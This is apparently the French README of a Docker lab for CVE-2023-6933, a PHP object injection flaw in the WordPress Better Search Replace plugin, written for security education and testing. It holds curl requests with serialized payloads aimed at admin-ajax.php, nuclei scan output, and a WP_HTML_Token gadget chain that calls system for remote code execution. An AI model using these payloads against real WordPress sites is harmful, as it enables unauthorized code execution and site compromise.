Laboratoire de vulnérabilité CVE-2023-6933
Aperçu
Cet environnement de laboratoire démontre la CVE-2023-6933, une vulnérabilité critique d'injection d'objets PHP dans le plugin WordPress Better Search Replace versions ≤1.4.4.
Détails de la vulnérabilité
- CVE ID : CVE-2023-6933
- Score CVSS : 9.8 (Critique)
- Plugin affecté : Better Search Replace ≤1.4.4
- Type de vulnérabilité : Injection d'objets PHP via une entrée utilisateur désérialisée
- Vecteur d'attaque : Point de terminaison AJAX
/wp-admin/admin-ajax.php avec l'action search_replace_db
Démarrage rapide
1. Déployer le laboratoire
# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Deploy using Docker Hub image (automatic pull)
docker-compose up -d
Le laboratoire va automatiquement :
- Télécharger l'image WordPress vulnérable depuis Docker Hub (
trex999/vulnerable-bsr-lab:latest)
- Configurer WordPress avec MySQL et phpMyAdmin
- Installer et activer le plugin vulnérable Better Search Replace (v1.4.4)
- Terminer l'installation en ~60 secondes
2. Accéder à l'environnement
3. Tester la vulnérabilité
# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Analyse technique
La vulnérabilité
Le plugin Better Search Replace contient une vulnérabilité d'injection d'objets PHP dans son gestionnaire AJAX. La vulnérabilité se produit lorsque :
- L'entrée utilisateur est transmise au paramètre
search_for via POST vers /wp-admin/admin-ajax.php
- L'action est définie sur
search_replace_db
- L'entrée contient des objets PHP sérialisés qui sont désérialisés sans validation appropriée
- Cela permet l'instanciation arbitraire d'objets et une exécution de code potentielle
Méthodes de vérification du POC
Notre modèle nuclei démontre la vulnérabilité à travers plusieurs étapes de vérification :
- Détection du plugin : Confirme la présence de la version vulnérable du plugin
- Test d'injection d'objets : Envoie des charges utiles sérialisées et analyse les réponses
- Vérification comportementale : Confirme le traitement réussi de la désérialisation d'objets
Caractéristiques clés de ce laboratoire
- Aucune dépendance aux erreurs : Le POC démontre la vulnérabilité réelle par analyse comportementale, et non par des messages d'erreur
- Tests fonctionnels : Utilise des objets sérialisés sûrs pour vérifier la désérialisation sans endommager le système
- Déploiement automatisé : Configuration complète du laboratoire sans aucune configuration manuelle
- Méthodes de test multiples : Modèles nuclei automatisés et commandes curl manuelles
Documentation
Référence rapide
- README.md : Ce fichier — démarrage rapide et aperçu
- CVE-2023-6933_POC_DOCUMENTATION.md : Documentation technique complète avec analyse détaillée du PoC
- POC_TEMPLATE_SUMMARY.md : Conformité aux exigences et confirmation de livraison
Modèle de POC professionnel
Le modèle nuclei (nuclei-templates/cve-2023-6933.yaml) est structuré de manière professionnelle :
- Code propre sans commentaires excessifs
- Documentation technique complète dans des fichiers séparés
- Format de modèle prêt pour la production
- Conformité totale avec les normes de recherche en sécurité
Résultats des tests
Exécution réussie du POC
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
Le POC réussit à :
- ✅ Détecter la version vulnérable du plugin
- ✅ Confirmer la capacité d'injection d'objets par l'analyse des réponses
- ✅ Démontrer la vulnérabilité fonctionnelle sans dépendre des erreurs
- ✅ Fournir une vérification comportementale de la désérialisation réussie
Avis de sécurité
⚠️ AVERTISSEMENT : Cet environnement contient des logiciels volontairement vulnérables. À utiliser uniquement dans des environnements de test isolés. Ne pas déployer en production ou sur des systèmes accessibles via Internet.
Nettoyage
Références
Créé à des fins éducatives et de recherche en sécurité
Environnement Docker (Docker_LAB_SETUP/)
- WordPress 6.4.0 avec Better Search Replace 1.4.3 vulnérable
- Serveur de base de données MySQL 8.0
- phpMyAdmin pour la gestion de la base de données
- Environnement vulnérable préconfiguré
Scripts d'exploitation
cve_2023_6933_exploit.php — Boîte à outils d'exploitation PHP complète
wp_html_token_poc.php — Démonstration d'exécution de code à distance (RCE) pour WordPress 6.4.0+
bsr_direct_exploit.php — Test direct de la vulnérabilité
Outils de détection
nuclei-templates/cve-2023-6933.yaml — Modèle nuclei avancé
manual-test.sh — Script de test manuel complet
🎯 Méthodologie d'exploitation appropriée
Ce laboratoire démontre la détection sans dépendance aux erreurs, conformément aux bonnes pratiques de recherche en sécurité :
1. Détection basée sur le succès
Au lieu de s'appuyer sur les erreurs HTTP 500, nos outils détectent :
- Le traitement réussi des charges utiles
- La désérialisation d'objets sérialisés
- Les schémas de réponse de l'application
- Les preuves d'exploitation fonctionnelle
2. Chaîne RCE WP_HTML_Token
Utilisation de la classe WP_HTML_Token de WordPress 6.4.0+ pour une véritable exécution de code à distance (RCE) :
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
3. Vecteurs d'attaque multiples
- Exploitation du point de terminaison AJAX (
admin-ajax.php)
- Manipulation directe de l'interface du plugin
- Injection dans la base de données via les opérations de recherche/remplacement
🔬 Approche de test
Tests manuels
# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
Fonctionnalités du modèle nuclei
- Tests multi-vecteurs : 5 requêtes HTTP différentes
- Matchers basés sur le succès : Recherche un traitement fonctionnel, pas des erreurs
- Extraction complète : Détection de version, analyse des réponses
- Charges utiles sûres : Approche de test non destructive
Fonctionnalités des tests manuels
- Détection et validation de la version du plugin
- Génération et test de multiples charges utiles
- Démonstration RCE WP_HTML_Token
- Vérification complète de la vulnérabilité
📊 Points d'accès au laboratoire
🛡️ Considérations de sécurité
Pour les chercheurs
- Il s'agit d'un environnement volontairement vulnérable
- À utiliser uniquement sur des réseaux isolés/contrôlés
- Pas pour les environnements de production
- À des fins éducatives uniquement
Pour les défenseurs
- Mettre à jour Better Search Replace vers ≥ 1.4.5
- Mettre en place des règles WAF pour les données sérialisées
- Surveiller les schémas d'injection d'objets
- Effectuer des audits de sécurité réguliers des plugins WordPress
📚 Valeur pédagogique
Ce laboratoire offre une expérience pratique avec :
- Les vulnérabilités d'injection d'objets PHP
- L'analyse de la sécurité des plugins WordPress
- Les attaques de sérialisation/désérialisation
- L'exploitation de chaînes de gadgets
- L'automatisation de la détection de vulnérabilités
- Les méthodologies de test de sécurité
Auteur : Trex
Version du laboratoire : 2.0 — Méthodologie POC améliorée